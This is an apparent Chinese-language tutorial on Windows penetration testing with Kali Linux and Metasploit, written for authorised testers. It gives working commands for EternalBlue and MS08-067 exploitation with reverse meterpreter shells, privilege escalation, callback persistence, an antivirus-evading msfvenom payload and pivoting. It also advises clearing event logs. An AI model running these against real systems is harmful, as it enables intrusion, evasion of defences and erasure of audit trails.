Kali Linux与Metasploit框架下的Windows渗透测试实战

1. Kali Linux渗透测试环境概述

Kali Linux作为专业的渗透测试操作系统，集成了数百种安全工具，其中Metasploit Framework（MSF）是最核心的渗透测试套件。这套工具链可以帮助安全人员模拟攻击者行为，发现系统漏洞。在实际测试中，针对Windows系统的渗透是最常见的场景之一，因为Windows在企业环境中占据主导地位。

重要提示：本文所述技术仅限合法授权测试使用，未经许可对他人系统进行渗透属于违法行为

2. MSF渗透测试基础准备

2.1 环境配置要点

在开始渗透测试前，需要确保Kali Linux环境正确配置：

1. 更新系统源：sudo apt update && sudo apt upgrade -y
2. 安装完整版Metasploit：sudo apt install metasploit-framework
3. 启动PostgreSQL服务：sudo systemctl start postgresql
4. 初始化MSF数据库：msfdb init

这些基础配置确保了后续渗透测试的稳定性。特别是数据库服务，对于保存扫描结果和会话信息至关重要。

2.2 网络环境要求

渗透测试需要攻击机和靶机处于同一网络环境：

• 局域网测试：确保两台设备在同一子网
• 公网测试：需要配置端口转发
• 建议使用桥接模式虚拟机，避免NAT带来的网络限制

3. Windows系统信息收集

3.1 主机发现技术

使用MSF进行内网扫描：

bash复制use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
run

这个ARP扫描可以快速发现内网存活主机，比ICMP扫描更可靠，因为很多防火墙会屏蔽ping请求。

3.2 端口与服务识别

Nmap与MSF结合使用效果更佳：

bash复制db_nmap -sV -O 192.168.1.100

扫描结果会自动存入MSF数据库，方便后续漏洞利用时快速查询。关键要关注以下高危服务：

• 445端口(SMB)
• 3389端口(RDP)
• 21端口(FTP)
• 80/443端口(Web)

4. 常见Windows漏洞利用

4.1 永恒之蓝(EternalBlue)漏洞利用

针对未打补丁的Windows 7/Server 2008系统：

bash复制use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit

成功利用后会直接获得system权限的meterpreter会话。这个漏洞之所以危险，是因为它不需要任何认证，且影响范围极广。

4.2 MS08-067漏洞利用

针对更老的Windows系统：

bash复制use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.100
set payload windows/meterpreter/reverse_tcp
exploit

5. Meterpreter高级功能

5.1 会话管理技巧

获取会话后的基本操作：

bash复制sessions -l  # 列出所有会话
sessions -i 1  # 进入会话1
background  # 将当前会话放到后台

5.2 权限提升方法

即使初始获得的不是system权限，也可以通过：

bash复制use post/windows/escalate/getsystem
set SESSION 1
run

或者尝试本地漏洞提权：

bash复制use exploit/windows/local/bypassuac
set SESSION 1
run

6. 后渗透阶段操作

6.1 信息收集自动化

bash复制run post/windows/gather/enum_logged_on_users
run post/windows/gather/checkvm
run post/windows/gather/enum_applications

这些模块可以快速收集系统关键信息，为后续横向移动做准备。

6.2 持久化维持访问

创建计划任务实现持久化：

bash复制run persistence -X -i 60 -p 443 -r 192.168.1.50

参数说明：

• -X 开机自启
• -i 60 每60秒尝试连接
• -p 监听端口
• -r 攻击机IP

7. 渗透测试注意事项

1. 法律合规性：必须获得书面授权
2. 影响评估：避免使用可能造成系统崩溃的exp
3. 日志清理：测试完成后使用clearev清除事件日志
4. 报告撰写：详细记录漏洞利用过程及修复建议

8. 常见问题排查

8.1 漏洞利用失败原因

• 目标系统已打补丁
• 防火墙拦截了攻击流量
• 使用的payload与系统架构不匹配(x86 vs x64)
• 网络连接不稳定导致会话中断

8.2 Meterpreter会话不稳定

解决方法：

1. 尝试使用bind_tcp代替reverse_tcp
2. 增加重连间隔：set ExitOnSession false
3. 使用更稳定的传输方式：set payload windows/meterpreter/reverse_https

9. 渗透测试进阶技巧

9.1 免杀技术

原始payload容易被杀毒软件检测，可以使用：

bash复制msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=443 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe

参数说明：

• -e 编码方式
• -i 编码迭代次数
• -f 输出格式

9.2 横向移动技术

通过已控制的机器扫描内网：

bash复制run post/windows/manage/autoroute

然后就可以通过这个会话作为跳板，扫描和攻击内网其他机器。

在实际渗透测试中，Windows系统的安全性往往取决于最薄弱的一环。一个未打补丁的系统可能成为整个内网的突破口。作为安全人员，理解这些攻击技术不是为了实施攻击，而是为了更好的防御。每次测试后，我都会详细记录攻击路径，这往往能发现防御体系中的盲点。